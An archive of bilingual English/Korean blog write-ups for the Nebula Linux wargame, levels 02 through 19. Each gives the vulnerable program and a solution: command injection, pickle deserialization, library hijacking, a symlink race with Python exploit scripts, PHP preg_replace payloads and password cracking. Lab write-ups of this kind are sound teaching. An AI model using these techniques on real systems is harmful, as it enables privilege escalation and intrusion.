July 07, 2019

Nebula level19 write up

In this write up, some hints related to this challenge only will be mentioned.

여기서는 챌린지와과 관련된 몇 가지 힌트만이 언급됩니다.

Level19

About
There is a flaw in the below program in how it operates.

관련 사항.
아래의 프로그램은 실행 간 결함이 발생한다.

To do this level, log in as the level19 account with the password level19. Files for this level can be found in /home/flag19.

level19(pw: level19) 계정을 이용한다. 관련 파일은 /home/flag19에 있다.

Source code.    소스코드.
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
#include <sys/stat.h>

int main(int argc, char **argv, char **envp)
{
  pid_t pid;
  char buf[256];
  struct stat statbuf;

  /* Get the parent's /proc entry, so we can verify its user id */

  snprintf(buf, sizeof(buf)-1, "/proc/%d", getppid());

  /* stat() it */

  if(stat(buf, &statbuf) == -1) {
      printf("Unable to check parent process\n");
      exit(EXIT_FAILURE);
  }

  /* check the owner id */

  if(statbuf.st_uid == 0) {
      /* If root started us, it is ok to start the shell */

      execve("/bin/sh", argv, envp);
      err(1, "Unable to execve");
  }

  printf("You are unauthorized to run this program\n");
}

It is inappropriate to indirectly check the permission of the current process through the PPID.

PPID를 통하여 현재 프로세스의 권한을 간접적으로 점검하는 것은 부적절하다.

In older versions of Linux (Ubuntu 6.1 to 14.0) systems, the orphan process's parent process is designated with "init" process(PID: 1, root account permissions).

구 버전의 리눅스(Ubuntu 6.1~14.0) 시스템에서는 고아(orphan) 프로세스는 부모 프로세스로 "init" 프로세스(PID: 1, root 계정 권한)가 지정된다.

level19@nebula:/tmp$ ./exploit
I am 3155 → Parent. 부모
You are unauthorized to run this program → Bypass failed parent. 우회에 실패한 부모
level19@nebula:/tmp$ I am 0 → Child. 자식
[Child] Waiting...(ppid: 1) → Orphaned child. 고아가 된 자식
[Child] Execute shell(ppid: 1) → Child trying to bypass. 우회를 시도하는 자식
You have successfully executed getflag on a target account

Nebula level18 write up

In this write up, some hints related to this challenge only will be mentioned.

여기서는 챌린지와과 관련된 몇 가지 힌트만이 언급됩니다.

Level18

About
Analyse the C program, and look for vulnerabilities in the program. There is an easy way to solve this level, an intermediate way to solve it, and a more difficult/unreliable way to solve it.

관련 사항.
C 코드로 작성된 프로그램을 분석하고 취약점을 발견하라. 클리어를 위한 방법은 총 3가지(쉬움/보통/어려움)가 있다.

To do this level, log in as the level18 account with the password level18. Files for this level can be found in /home/flag18.

level18(pw: level18) 계정을 이용한다. 관련 파일은 /home/flag18에 있다.

Source code.    소스코드.
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <fcntl.h>
#include <getopt.h>

struct {
  FILE *debugfile;
  int verbose;
  int loggedin;
} globals;

#define dprintf(...) if(globals.debugfile) \
  fprintf(globals.debugfile, __VA_ARGS__)
#define dvprintf(num, ...) if(globals.debugfile && globals.verbose >= num) \
  fprintf(globals.debugfile, __VA_ARGS__)

#define PWFILE "/home/flag18/password"

void login(char *pw)
{
  FILE *fp;

  fp = fopen(PWFILE, "r");
  if(fp) {
      char file[64];

      if(fgets(file, sizeof(file) - 1, fp) == NULL) {
          dprintf("Unable to read password file %s\n", PWFILE);
          return;
      }
                fclose(fp);
      if(strcmp(pw, file) != 0) return;     
  }
  dprintf("logged in successfully (with%s password file)\n",
      fp == NULL ? "out" : "");
 
  globals.loggedin = 1;

}

void notsupported(char *what)
{
  char *buffer = NULL;
  asprintf(&buffer, "--> [%s] is unsupported at this current time.\n", what);
  dprintf(what);
  free(buffer);
}

void setuser(char *user)
{
  char msg[128];

  sprintf(msg, "unable to set user to '%s' -- not supported.\n", user);
  printf("%s\n", msg);

}

int main(int argc, char **argv, char **envp)
{
  char c;

  while((c = getopt(argc, argv, "d:v")) != -1) {
      switch(c) {
          case 'd':
              globals.debugfile = fopen(optarg, "w+");
              if(globals.debugfile == NULL) err(1, "Unable to open %s", optarg);
              setvbuf(globals.debugfile, NULL, _IONBF, 0);
              break;
          case 'v':
              globals.verbose++;
              break;
      }
  }

  dprintf("Starting up. Verbose level = %d\n", globals.verbose);

  setresgid(getegid(), getegid(), getegid());
  setresuid(geteuid(), geteuid(), geteuid());
 
  while(1) {
      char line[256];
      char *p, *q;

      q = fgets(line, sizeof(line)-1, stdin);
      if(q == NULL) break;
      p = strchr(line, '\n'); if(p) *p = 0;
      p = strchr(line, '\r'); if(p) *p = 0;

      dvprintf(2, "got [%s] as input\n", line);

      if(strncmp(line, "login", 5) == 0) {
          dvprintf(3, "attempting to login\n");
          login(line + 6);
      } else if(strncmp(line, "logout", 6) == 0) {
          globals.loggedin = 0;
      } else if(strncmp(line, "shell", 5) == 0) {
          dvprintf(3, "attempting to start shell\n");
          if(globals.loggedin) {
              execve("/bin/sh", argv, envp);
              err(1, "unable to execve");
          }
          dprintf("Permission denied\n");
      } else if(strncmp(line, "logout", 4) == 0) {
          globals.loggedin = 0;
      } else if(strncmp(line, "closelog", 8) == 0) {
          if(globals.debugfile) fclose(globals.debugfile);
          globals.debugfile = NULL;
      } else if(strncmp(line, "site exec", 9) == 0) {
          notsupported(line + 10);
      } else if(strncmp(line, "setuser", 7) == 0) {
          setuser(line + 8);
      }
  }

  return 0;
}

The settings of the system may also be used.
시스템의 설정이 이용될 수도 있다.

By limiting resource use of a process, it is possible to create an exceptional situation that prevents the program from dealing with it.

프로세스의 자원 사용 제한을 통해 예외 상황을 유발하여 프로그램이 대처하지 못하는 상황을 조성하는 것이다.

Here, the number of file openings is limited.
여기서는 파일 개방 개수를 제한한다.

level18@nebula:/home/flag18$ ./flag18 --rcfile -d /dev/tty
./flag18: invalid option -- '-'
./flag18: invalid option -- 'r'
./flag18: invalid option -- 'c'
./flag18: invalid option -- 'f'
./flag18: invalid option -- 'i'
./flag18: invalid option -- 'l'
./flag18: invalid option -- 'e'
Starting up. Verbose level = 0
login 1
login 1
login 1
login 1
login 1
login 1
login 1
logged in successfully (without password file)
■■■■■■■
■■■■■

id
uid=981(flag18) gid=1019(level18) groups=981(flag18),1019(level18)
getflag
You have successfully executed getflag on a target account

Nebula level17 write up

In this write up, some hints related to this challenge only will be mentioned.

여기서는 챌린지와과 관련된 몇 가지 힌트만이 언급됩니다.

Level17

About
There is a python script listening on port 10007 that contains a vulnerability.

관련 사항.
10007 포트에서 동작중이며 취약점을 지닌 파이썬 스크립트가 하나 있다.

To do this level, log in as the level17 account with the password level17. Files for this level can be found in /home/flag17.

level17(pw: level17) 계정을 이용한다. 관련 파일은 /home/flag17에 있다.

Source code.    소스코드.
#!/usr/bin/python

import os
import pickle
import time
import socket
import signal

signal.signal(signal.SIGCHLD, signal.SIG_IGN)

def server(skt):
  line = skt.recv(1024)

  obj = pickle.loads(line)

  for i in obj:
    clnt.send("why did you send me " + i + "?\n")

skt = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
skt.bind(('0.0.0.0', 10007))
skt.listen(10)

while True:
  clnt, addr = skt.accept()

  if(os.fork() == 0):
    clnt.send("Accepted connection from %s:%d" % (addr[0], addr[1]))
    server(clnt)
    exit(1)

The main part to look at is the part that receives data of size 1024 Bytes from the client, and performing deserialization by calling "loads()" function of "pickle" module.

주요하게 보아야할 부분은 클라이언트로부터 1024 Bytes 크기의 데이터를 입력받는 부분과, "pickle" 모듈의 "loads()" 함수를 호출하여 역직렬화(Deserialization)를 수행하는 부분이다.

The data transmitted from the client is expected to be serialized data.

클라이언트로부터 전송되는 데이터는 직렬화(Serialization)된 데이터일 것으로 기대하고 있다.

level17@nebula:/tmp$ python ./exploit.py | nc 127.0.0.1 10007
Accepted connection from 127.0.0.1:36499
^C
level17@nebula:/tmp$ ls
exploit.py  rst.txt  VMwareDnD  vmware-root
level17@nebula:/tmp$ cat ./rst.txt
You have successfully executed getflag on a target account

Nebula level16 write up

In this write up, some hints related to this challenge only will be mentioned.

여기서는 챌린지와과 관련된 몇 가지 힌트만이 언급됩니다.

Level16

About
There is a perl script running on port 1616.

관련 사항.
1616 포트에서 동작하는 Perl 스크립트 프로그램이 존재한다.

To do this level, log in as the level16 account with the password level16. Files for this level can be found in /home/flag16.

level16(pw: level16) 계정을 이용한다. 관련 파일은 /home/flag03에 있다.

Source code    소스코드.
#!/usr/bin/env perl

use CGI qw{param};

print "Content-type: text/html\n\n";

sub login {
  $username = $_[0];
  $password = $_[1];

  $username =~ tr/a-z/A-Z/; # conver to uppercase
  $username =~ s/\s.*//;    # strip everything after a space

  @output = `egrep "^$username" /home/flag16/userdb.txt 2>&1`;
  foreach $line (@output) {
      ($usr, $pw) = split(/:/, $line);

      if($pw =~ $password) {
          return 1;
      }
  }

  return 0;
}

sub htmlz {
  print("<html><head><title>Login resuls</title></head><body>");
  if($_[0] == 1) {
      print("Your login was accepted<br/>");
  } else {
      print("Your login failed<br/>");
  } 
  print("Would you like a cookie?<br/><br/></body></html>\n");
}

htmlz(login(param("username"), param("password")));

(1) @output = `egrep "^$username" /home/flag16/userdb.txt 2>&1`;
(2) `egrep "^$username" /home/flag16/userdb.txt 2>&1`;
(3) egrep "^$username" /home/flag16/userdb.txt 2>&1
(4) egrep "^`■■■■■■■■`" /home/flag16/userdb.txt 2>&1

I have listed the order in which the original appearance of the target code is interpreted when it is recognized and executed as a shell command.

공격할 코드의 원래 모습이 쉘 명령어로 인식되어 실행될 때 어떻게 해석되는지를 순서대로 나열해보았다.

(1) It is the appearance of the code to attack.
(1) 공격할 코드의 모습이다.

(2) Focused on code related to shell commands.
(2) 쉘 명령어와 관련된 코드에 초점을 맞추었다.

(3) The Perl grammar recognizes strings enclosed in backquotes(`) as commands to be passed to the shell. So the range of strings to be passed to the shell is like this.

(3) Perl 문법은 백쿼트(`)로 둘러싸인 문자열을 쉘에 넘길 명령어로 인식한다. 이에 따라 쉘에 전달될 문자열의 범위는 이렇게 된다.

(4) Assumed situation a malicious string in the range.
(4) 해당 범위에서 악성 문자열이 들어갈 때를 가정한다.

level16@nebula:/tmp$ ls -al
……
-rwxrwxrwx 1 level16 level16  31 2019-06-19 01:29 EXPLOIT
-rw-r--r-- 1 flag16  flag16   59 2019-06-19 01:30 rst
……
level16@nebula:/tmp$ cat ./rst
You have successfully executed getflag on a target account

Nebula level15 write up

In this write up, some hints related to this challenge only will be mentioned.

여기서는 챌린지와과 관련된 몇 가지 힌트만이 언급됩니다.

Level15

About
strace the binary at /home/flag15/flag15 and see if you spot anything out of the ordinary.

관련 사항.
"/home/flag15/flag15" 경로의 파일을 strace 명령어로 실행하라. 그리고 평소와 다른 부분을 확인하라.

You may wish to review how to “compile a shared library in linux” and how the libraries are loaded and processed by reviewing the dlopen manpage in depth.

당신은 "리눅스에서 공유라이브러리를 컴파일 하는 방법"과 "dlopen"의 매뉴얼 패이지를 통해 라이브러리가 로드되고 처리되는 방법에 대해서 알고 싶어질 것이다.

Clean up after yourself :)    클리어하기를 기원한다. :)

To do this level, log in as the level15 account with the password level15. Files for this level can be found in /home/flag15.

level15(pw: level15) 계정을 이용한다. 관련 파일은 /home/flag15에 있다.

Source code    소스코드.
There is no source code available for this level    미공개.

We have tried to utilize environment variables in the previous challenge, so now we will use the RPATH property. Let's utilize the path "/var/tmp/flag15/tls/i686/sse2/cmov/libc.so.6", which is the first search path.

이전 챌린지에서 환경 변수를 활용하는 것은 해보았으니 이번엔 RPATH 속성을 활용해볼 것이다. 관련하여 최초로 탐색하는 경로인 "/var/tmp/flag15/tls/i686/sse2/cmov/libc.so.6"를 활용해보도록 한다.

level15@nebula:/var/tmp/flag15/tls/i686/sse2/cmov$ gcc -shared -fPIC -Wl,--version-script=./version.map,-static -static-libgcc -o ./libc.so.6 ./libc.so.6.c
level15@nebula:/var/tmp/flag15/tls/i686/sse2/cmov$ /home/flag15/flag15 sh-4.2$
sh-4.2$ id
uid=1016(level15) gid=1016(level15) euid=984(flag15) …
sh-4.2$ getflag
You have successfully executed getflag on a target account

Nebula level14 write up

In this write up, some hints related to this challenge only will be mentioned.

여기서는 챌린지와과 관련된 몇 가지 힌트만이 언급됩니다.

Level14

About
This program resides in /home/flag14/flag14. It encrypts input and writes it to standard output. An encrypted token file is also in that home directory, decrypt it :)

관련 사항.
관련 프로그램은 "/home/flag14/flag14" 위치에 존재한다. 이 프로그램은 표준 입력으로부터의 입력 값을 암호화하여 표준 출력으로 출력한다. 암호화된 토큰 파일이 또한 해당 디렉토리에 존재한다. 이를 복호화 해보라.

To do this level, log in as the level14 account with the password level14. Files for this level can be found in /home/flag14.

level14(pw: level14) 계정을 이용한다. 관련 파일은 /home/flag14에 있다.

Source code    소스코드.
There is no source code available for this level    미공개.

level14@nebula:/home/flag14$ echo "00000" | ./flag14 -e
01234level14@nebula:/home/flag14$
level14@nebula:/home/flag14$ echo "12345" | ./flag14 -e
13579level14@nebula:/home/flag14$
level14@nebula:/home/flag14$ echo "11111" | ./flag14 -e
12345level14@nebula:/home/flag14$
level14@nebula:/home/flag14$ echo "22222" | ./flag14 -e
23456level14@nebula:/home/flag14$
level14@nebula:/home/flag14$ echo "aaaaa" | ./flag14 -e
abcdelevel14@nebula:/home/flag14$
level14@nebula:/home/flag14$ echo "abbbbbbbbb" | ./flag14 -e
acdefghijklevel14@nebula:/home/flag14$

The pipeline (|) symbol allows you to pass values to the standard input of the program as above.

파이프라인(|) 기호를 통해서 위와 같이 프로그램의 표준 입력으로 값을 전달할 수 있다.

level14@nebula:/home/flag14$ python /tmp/exploit.py
845■■■■■■■■■■■■■■■3165
level14@nebula:/home/flag14$ su - flag14
Password:
flag14@nebula:~$
flag14@nebula:~$ getflag
You have successfully executed getflag on a target account

Nebula level13 write up

In this write up, some hints related to this challenge only will be mentioned.

여기서는 챌린지와과 관련된 몇 가지 힌트만이 언급됩니다.

Level13

About
There is a security check that prevents the program from continuing execution if the user invoking it does not match a specific user id.

관련 사항.
이 프로그램을 실행시키는 사용자의 UID가 지정된 값이 아니라면, 이후 내용이 진행되지 않도록 보호하는 보안 점검 장치가 있다.

To do this level, log in as the level13 account with the password level13. Files for this level can be found in /home/flag13.

level13(pw: level13) 계정을 이용한다. 관련 파일은 /home/flag03에 있다.

Source code.    소스코드.
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <string.h>

#define FAKEUID 1000

int main(int argc, char **argv, char **envp)
{
  int c;
  char token[256];

  if(getuid() != FAKEUID) {
      printf("Security failure detected. UID %d started us, we expect %d\n", getuid(), FAKEUID);
      printf("The system administrators will be notified of this violation\n");
      exit(EXIT_FAILURE);
  }

  // snip, sorry :)

  printf("your token is %s\n", token);
}

There are two important features of the "LD_PRELOAD" environment variable.

"LD_PRELOAD" 환경 변수에는 중요한 특징이 2 가지가 있다.

The first is that programs with setUID set are not applied to this environment variable.

첫 번째는, setUID가 설정된 프로그램은 이 환경 변수에 적용받지 않는다는 점이다.

The second is that if there is a function with the same name as the existing library(duplicate), the function of the library registered in this environment variable is called.

두 번째는, 기존의 라이브러리에 있는 함수와 동일한 이름의 함수가 존재한다면(중복), 두 함수 중, 이 환경 변수에 등록된 라이브러리의 함수가 호출된다는 점이다.

level13@nebula:/tmp$ ./flag13
your token is b7057■■■■■■■■■■■■■■■■■■■ac58
level13@nebula:/tmp$ su flag13
Password:
sh-4.2$
sh-4.2$ getflag
You have successfully executed getflag on a target account

Nebula level12 write up

In this write up, some hints related to this challenge only will be mentioned.

여기서는 챌린지와과 관련된 몇 가지 힌트만이 언급됩니다.

Level12

About
There is a backdoor process listening on port 50001.

관련 사항.
백도어 프로세스가 50001번 포트에서 대기 중이다.

To do this level, log in as the level12 account with the password level12. Files for this level can be found in /home/flag12.

level12(pw: level12) 계정을 이용한다. 관련 파일은 /home/flag12에 있다.

Source code    소스코드.
local socket = require("socket")
local server = assert(socket.bind("127.0.0.1", 50001))

function hash(password)
  prog = io.popen("echo "..password.." | sha1sum", "r")
  data = prog:read("*all")
  prog:close()

  data = string.sub(data, 1, 40)

  return data
end

while 1 do
  local client = server:accept()
  client:send("Password: ")
  client:settimeout(60)
  local line, err = client:receive()
  if not err then
     print("trying " .. line) -- log from where ;\
     local h = hash(line)

     if h ~= "4754a4f4bd5787accd33de887b9250a0691dd198" then
         client:send("Better luck next time\n");
     else
         client:send("Congrats, your token is 413**CARRIER LOST**\n")
     end
  end

  client:close()
end

the insufficient filtering was treated several times at the previous level.

사용자 입력 값에 대한 필터링이 미흡한 경우는 이전 레벨에서 여러 번 다루었었다.

Look for execution of multiple instructions via semicolons.

세미콜론을 통해 다중 명령어를 실행할 수 있도록 구상한다.

Since there is no code to output the result of the command to the screen, it is necessary to save the result directly in a separate file through redirection.

명령어에 대한 결과를 화면에 출력하는 코드는 없기에, 리다이렉션을 통해 직접 그 결과를 별도 파일에 저장하도록 한다.

level12@nebula:/dev/pts$ nc 127.0.0.1 50001
Password: 1; ■■■■■■■■■■■■■■ho 1
Better luck next time
level12@nebula:/dev/pts$ ls -al /tmp
……
drwxrwxrwt 2 root   root    40 2019-06-09 07:02 .ICE-unix
-rw-r--r-- 1 flag12 flag12  59 2019-06-08 23:11 rst.txt
level12@nebula:/dev/pts$ cat /tmp/rst.txt
You have successfully executed getflag on a target account

Nebula level11 write up

In this write up, some hints related to this challenge only will be mentioned.

여기서는 챌린지와과 관련된 몇 가지 힌트만이 언급됩니다.

Level11

About
The /home/flag11/flag11 binary processes standard input and executes a shell command.

관련 사항.
실행파일 "/home/flag11/flag11"은 표준 입력을 받고 쉘 명령을 실행한다.

There are two ways of completing this level, you may wish to do both :-)

클리어에는 두 가지 방법이 있는데, 두 방법 모두 시도해보기 바란다.

To do this level, log in as the level11 account with the password level11. Files for this level can be found in /home/flag11.

level11(pw: level11) 계정을 이용한다. 관련 파일은 /home/flag11에 있다.

Source code. 소스코드.
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <fcntl.h>
#include <stdio.h>
#include <sys/mman.h>

/* * Return a random, non predictable file, and return the file descriptor for it. */

int getrand(char **path)
{
  char *tmp;
  int pid;
  int fd;

  srandom(time(NULL));

  tmp = getenv("TEMP");
  pid = getpid();

  asprintf(path, "%s/%d.%c%c%c%c%c%c", tmp, pid,
      'A' + (random() % 26), '0' + (random() % 10),
      'a' + (random() % 26), 'A' + (random() % 26),
      '0' + (random() % 10), 'a' + (random() % 26));

  fd = open(*path, O_CREAT|O_RDWR, 0600);
  unlink(*path);
  return fd;
}
void process(char *buffer, int length)
{
  unsigned int key;
  int i;

  key = length & 0xff;

  for(i = 0; i < length; i++) {
      buffer[i] ^= key;
      key -= buffer[i];
  }

  system(buffer);
}

#define CL "Content-Length: "

int main(int argc, char **argv)
{
  char line[256];
  char buf[1024];
  char *mem;
  int length;
  int fd;
  char *path;

  if(fgets(line, sizeof(line), stdin) == NULL) {
      errx(1, "reading from stdin");
  }

  if(strncmp(line, CL, strlen(CL)) != 0) {
      errx(1, "invalid header");
  }

  length = atoi(line + strlen(CL));

  if(length < sizeof(buf)) {
      if(fread(buf, length, 1, stdin) != length) {
          err(1, "fread length");
      }
      process(buf, length);
  } else {
      int blue = length;
      int pink;

      fd = getrand(&path);

      while(blue > 0) {
          printf("blue = %d, length = %d, ", blue, length);

          pink = fread(buf, 1, sizeof(buf), stdin);
          printf("pink = %d\n", pink);

          if(pink <= 0) {
              err(1, "fread fail(blue = %d, length = %d)", blue, length);
          }
          write(fd, buf, pink);

          blue -= pink;
      } 

      mem = mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0);
      if(mem == MAP_FAILED) {
          err(1, "mmap");
      }
      process(mem, length);
  }
}

By registering the public key (mykey.pub) value in the "~ / .ssh" directory of the flag11 account, you can log in with the flag11 account without a password.

공개키(mykey.pub) 값을 flag11 계정의 "~/.ssh" 디렉토리에 등록하면, 비밀 번호 없이도 flag11 계정으로 로그인할 수 있다.

The private key and the public key are paired with each other and are designed to recognize that they originated in the same place.

개인키와 공개키는 서로가 쌍을 이루며, 같은 곳에서 기원했음을 알아볼 수 있도록 설계되어 있다.

In general, when encrypting arbitrary information with a private key and transmitting it, the server decrypts with a public key. if it is successful, it means a pair of authentication information that can be trusted by each other.

일반적으로, 임의의 정보를 개인키로 암호화하여 전송하면, 서버는 공개키로 해독(복호화)하는데, 만약 성공하면 서로가 신뢰 할 수 있는 인증정보의 쌍임을 아는 방식이다.

level11@nebula:/tmp$ ssh -i ./mykey flag11@127.0.0.1
……
flag11@nebula:~$ getflag
You have successfully executed getflag on a target account

January 04, 2018

Nebula level10 write-up

description of Nebula level10 write-up

<flag10>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>

int main(int argc, char **argv)
{
  char *file;
  char *host;

  if(argc < 3) {
      printf("%s file host\n\tsends file to host if you have access to it\n", argv[0]);
      exit(1);
  }

  file = argv[1];
  host = argv[2];

  if(access(argv[1], R_OK) == 0) {
      int fd;
      int ffd;
      int rc;
      struct sockaddr_in sin;
      char buffer[4096];

      printf("Connecting to %s:18211 .. ", host); fflush(stdout);

      fd = socket(AF_INET, SOCK_STREAM, 0);

      memset(&sin, 0, sizeof(struct sockaddr_in));
      sin.sin_family = AF_INET;
      sin.sin_addr.s_addr = inet_addr(host);
      sin.sin_port = htons(18211);

      if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -1) {
          printf("Unable to connect to host %s\n", host);
          exit(EXIT_FAILURE);
      }

#define HITHERE ".oO Oo.\n"
      if(write(fd, HITHERE, strlen(HITHERE)) == -1) {
          printf("Unable to write banner to host %s\n", host);
          exit(EXIT_FAILURE);
      }
#undef HITHERE

      printf("Connected!\nSending file .. "); fflush(stdout);

      ffd = open(file, O_RDONLY);
      if(ffd == -1) {
          printf("Damn. Unable to open file\n");
          exit(EXIT_FAILURE);
      }

      rc = read(ffd, buffer, sizeof(buffer));
      if(rc == -1) {
          printf("Unable to read from file: %s\n", strerror(errno));
          exit(EXIT_FAILURE);
      }

      write(fd, buffer, rc);

      printf("wrote file!\n");

  } else {
      printf("You don't have access to %s\n", file);
  }
}




flag file of Nebula level10 write-up

There is flag10 file in /home/flag10. It has SUID permission but it can't read the token file.

This is due to the feature of the access() function that checks access permission with real UID(Link).

However, when looking at the source code of flag10, it doesn't check whether the file checked in the access() function and the file used in the open() function are the same file.

In other words, It is possible that the access() function checks for a file for inspection, then opens the other file.




<exploit_1>
import os
a=0
while (a<20) :
    os.system("nc -l 18211 >> /tmp/rst.txt")
    a=a+1

<exploit_2>
import os
while True :
    os.system("ln -sf /home/flag10/token /tmp/token")
    os.system("ln -sf /dev/null /tmp/token")


<exploit_3>
import os
a =0
while (a<100) :
    os.system("/home/flag10/flag10 /tmp/token 127.0.0.1 > /dev/null")
    a=a+1

exploit_1 runs the server.

exploit_2 changes the link file continuously.

exploit_3 connects to the server and sends the link file.

After several attempts, there is a case that access() function checks /dev/null file and open() function opens the token file. The results are as follows.




exploit way of Nebula level10 write-up

The masked string is the password for flag10.




get flag of Nebula level10 write-up

The flag is successfully obtained.

December 28, 2017

Nebula level09 write-up

description of Nebula level09 write-up

It says that the wrapper wraps the same php file as above.




initial state of Nebula level09 write-up

flag09 is the wrapper file with SUID is set to lend permission for flag09.php.

flag09.php is an echo program with two parameters. The first parameter is the file path, which opens the file and prints its contents.




vulnerability of Nebula level09 write-up

PHP's preg_replace() function is vulnerable about command injection. Here, this function finds a string of the form [email xxxxx] in $contents and changes the xxxxx to the return value of spam() function. The "/e" flag is used. This has a feature that recognizes the second argument as php code and executes it.

\n means backreference in regular expression. Here, \2 means to select the second group among the groups filtered by the regular expression. That is xxxxx.

※ Learn more regular expression(Link)




get flag at Nebula level09 write-up

Since the return value of spam() is used, [email system(getflag)] is simply treated as a string as above image. Therefore, it should be packaged so that it can be recognized by code.

The identified packaging methods are as follows.

[email ${@system(getflag)}]
[email {${system(getflag)}}]
[email {${exec(getflag)}}]

※ This is part of code injection attack. Do you know about it all(Link)?



success get flag at Nebula level09 write-up

The flag obtained successfully.

December 27, 2016

Nebula level08 solution


ENGLISH> no comment

한글>
아무나 읽을 수 있는 파일이 또 문제를 발생 시켰다. 무슨 일이 일어났는지 확인하여 관련 정보를 획득한 뒤 flag08 계정에 로그인 하라.

이번 레벨을 수행하기 위해 level08 계정(pw:level08)에 로그인 후 /home/flag08 경로의 파일들을 활용하라.




ENGLISH>
There is a capture.pcap file in the path(/home/flag08).

It is likely to be moved to windows OS and analyzed with the wireshark.


□ Goal : Excute the getflag command with flag08 account and check the message "You have successfully executed getflag on a target account"

□ Vulnerability : It is assumed that there is data related to flag08 login in the capture.pcap file.

As the image above, first, transfer the file to the Windows OS using the pscp program. The pscp file is a file transfer program in the putty package. It is based on ssh.


한글>
해당 경로(/home/flag08)에 capture.pcap 파일이 있다.

이것을 윈도우 OS로 옮긴 뒤 Wireshark로 분석하면 될 것 같다.


□ 목표 : flag08 계정으로 getflag 명령을 실행하여 "You have successfully executed getflag on a target account" 메시지를 확인하는 것

□ 취약점 : capture.pcap 파일 내 flag08 로그인에 필요한 데이터가 있을 것으로 추정됨


위 그림과 같이, 먼저, pscp 프로그램으로 윈도우 OS로 해당 파일을 전송한다. pscp 파일은 putty 패키지 내 파일 전송 프로그램이다. ssh를 기반으로 한다.




ENGLISH>
Open the file with Wireshark and select Analysis menu(Analyze→Follow→TCP Stream). Then it is analyzed like the image above.

If you select "Show data as" as "Hex Dump", you can see 7F Hex data, which means backspace in ASCII table.

The verified information is "backdoor←←00Rm8←ate", which means that it is backd00Rmate.


한글>
Wireshark로 해당 파일을 연 뒤, 분석 메뉴를 선택하면(Analyze→Follow→TCP Stream) 위 이미지와 같이 분석된다.

이 때 "Show data as"를 "Hex Dump"로 선택하면 7F라는 Hex 데이터를 확인할 수 있는데, 이는 ASCII 테이블에서 백스페이스를 의미한다.

확인된 정보는 "backdoor←←←00Rm8←ate"이고 이는 결국 backd00Rmate임을 알 수 있다.




ENGLISH>
You can actually login to the flag08 account. Clear the level with getflag command.


한글>
flag08 계정에 실제로 로그인이 가능하다. getflag 명령으로 레벨 클리어

December 04, 2016

Nebula Level07 solution


□ Goal : Excute the getflag command with flag07 account and check the message "You have successfully executed getflag on a target account"

□ Analysis of the source code
○ The `ping -c 3 $host 2>&1`; performs ping test and stores the result in the @output array. And the result is all printed in the foreach
○ The source code is driven through the web server

□ Vulnerability
○ The last line "param("Host")" uses the user's input as a function argument without any filtering




There is the thttpd.conf file In the directory(/home/flag07). The thttpd service seems to be running. You can check the port number and permissions by opening it. The service port number is 7007 and the authority is flag07. As a precaution, the thttpd service will be terminated after a certain period of time after running nebula, so you should solve this level quickly.





You can check the results of the ping test by inserting data into the Host parameter in your web browser. However, since this program uses the value of the Host parameter without filtering, you can execute the getflag command with the flag07 account by inserting(%3B==;) as above.

November 23, 2016

Nebula Level06 solution


According to the explanation of the problem, the authentication of the flag06 account came from a former Unix system.




If you open the /etc/passwd file like the above image, only the flag06 account's password is stored encrypted.

This is characteristic of older Unix systems. Current systems manage passwords at /etc/shadow.




Since the encryption level seems low, install the password cracker tool "John the Ripper"
→ wget http://www.openwall.com/john/j/john-1.8.0.tar.gz




The downloaded file is in home directory. Unpack it and install it in src directory with make command.
→ make clean generic




Execute the john in run directory.
→ ./john /etc/passwd

You can find the password hello.

Log in the account flag06 with the password hello and clear the level with getflag command.
→ su flag06
→ getflag

November 19, 2016

Nebula Level05 solution



It says that there is a vulnerability in directory permissions.

I moved to given path, and I found a backup file like the image above. When I unpacked it into the home directory, I got the ssh authentication files.

It seemed to be an ssh authentication file for flag05 account. So I connected with flag05 account. And it worked.(ssh flag05@127.0.0.1).

Input "getflag" command and clear the level.

November 18, 2016

Nebula Level04 solution



If you execute the flag04 file on the given path, you will get the message "you may not access". At source code, I saw that access is not possible if the word "token" is present in the file name. 




So, I created the link without the word "token" at file name. One is a soft link and the other is a hard link. Note that you should input an absolute path when creating a soft link.

And I executed flag04 file. some string appears.




After checking the string, I was able to know that it was the password for the flag04 account. After login into flag04 account, Clear the level with getflag command.

October 23, 2016

Nebula Level03 solution


First, go to the flag03 directory and check the files there.




there is a shell script file and a directory. There is also something suspicious shell script file, let's open it.

The script means that The writable.sh executes all script files in the writable.d directory with Bash shell and removes it after 5 seconds. The script seems to be repeatedly executed.

Let's induce crontab to create an executable file with SetUID authority. This file will execute Bash shell.

We need a binary executable file because SetUID authority does not operate in a shell script




Ash(Attack shell) Induces that crontab compiles the source code and configures SetUID authority.

And create a Asw (Attack software) to be compiled as below




Configure realUID, effective UID, saved set-user-ID as flag03's UID. This function only operate if special authority SetUID is configured.

I was just curious so I inserted the whoami command for checking effective UID.

Finally, It attemps to change the authority with running the /bin/bash.




Put the created shell script in the writable.d directory.

A few minutes later, we can see that the missing Ash file.




And Asw file is created. flag03 is owner, It is configured SetUID authority. 




If Asw file is executed, we can know that the shell of the flag03's authorization is executed.

Clear level03 with getflag command.

October 15, 2016

Nebula Level03 hint


[vulnerability 1] The crontab is executed in a every few minutes. I checked that the level03 account has no relationship with the crontab. I guess that it is crontab activities of the other account such as flag03 or root.




[vulnerability 2] Permission of the writable.d directory is set so that all users can access.




[vulnerability 3] The Writable.sh executes all the files in /home/falg03/writable.d/ directory.

September 24, 2016

Nebula Level02 solution


□ Aim : Execute getflag command with flag02 account and check the message  "You have successfully executed getflag on a target account"

□ Vulnerability : Refer the previous post(Nebula level02 hint)

□ Source code interpretation
○ The asprint function stores the value of USER environment variable to the buffer variable
○ The system function executes the command "/bin/echo USER is cool"

□ Solving strategy
○ Utilizing the SetUID, use flag02's authority when the program is executed
○ Utilizing the environment variable, execute the getflag command




If you move to /home/flag02 and execute ./flag02, you can check the result like the upper image.

